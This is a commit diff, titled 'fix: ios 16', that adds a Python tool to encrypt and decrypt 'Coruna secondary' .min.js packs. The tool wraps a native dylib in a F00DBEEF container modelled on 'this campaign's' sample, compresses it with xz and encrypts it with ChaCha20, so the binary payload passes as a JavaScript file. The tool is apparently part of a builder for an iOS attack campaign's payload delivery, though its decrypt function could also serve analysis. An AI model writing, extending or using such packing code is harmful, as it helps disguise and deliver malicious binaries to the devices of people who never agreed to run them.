fix: ios 16

channel-builder/tools/_secondary_pack.py

@@ -0,0 +1,62 @@
+"""Encrypt/decrypt Coruna secondary type-0x01 .min.js packs."""
+
+from __future__ import annotations
+
+import lzma
+import struct
+
+from Crypto.Cipher import ChaCha20
+
+WRAP_MAGIC = b"\x0d\xf0\xed\x0b"  # 0x0BEDF00D LE
+F00D_MAGIC = 0xF00DBEEF
+
+
+def build_f00dbeef_type01(dylib: bytes) -> bytes:
+    """Single-entry F00DBEEF used by this campaign's secondary packs."""
+    header = struct.pack(
+        "<6I",
+        F00D_MAGIC,
+        1,  # version / entry-count field as in sample
+        0x00010000,  # type 0x01
+        3,
+        0x18,  # payload offset
+        len(dylib),
+    )
+    return header + dylib
+
+
+def wrap_xz(plaintext: bytes) -> bytes:
+    compressed = lzma.compress(plaintext, format=lzma.FORMAT_XZ)
+    return WRAP_MAGIC + struct.pack("<I", len(plaintext)) + compressed
+
+
+def unwrap_xz(blob: bytes) -> bytes:
+    if blob[:4] != WRAP_MAGIC:
+        raise ValueError(f"bad wrap magic: {blob[:4]!r}")
+    expected = struct.unpack_from("<I", blob, 4)[0]
+    plain = lzma.decompress(blob[8:])
+    if len(plain) != expected:
+        raise ValueError(f"xz size mismatch: {len(plain)} != {expected}")
+    return plain
+
+
+def chacha_crypt(data: bytes, key: bytes) -> bytes:
+    if len(key) != 32:
+        raise ValueError("ChaCha20 key must be 32 bytes")
+    return ChaCha20.new(key=key, nonce=b"\x00" * 8).encrypt(data)
+
+
+def encrypt_secondary_minjs(dylib: bytes, key: bytes) -> bytes:
+    return chacha_crypt(wrap_xz(build_f00dbeef_type01(dylib)), key)
+
+
+def decrypt_secondary_minjs(blob: bytes, key: bytes) -> bytes:
+    plain = unwrap_xz(chacha_crypt(blob, key))
+    if struct.unpack_from("<I", plain, 0)[0] != F00D_MAGIC:
+        raise ValueError("not F00DBEEF after decrypt")
+    offset = struct.unpack_from("<I", plain, 16)[0]
+    size = struct.unpack_from("<I", plain, 20)[0]
+    dylib = plain[offset : offset + size]
+    if len(dylib) != size:
+        raise ValueError("truncated dylib in F00DBEEF")
+    return dylib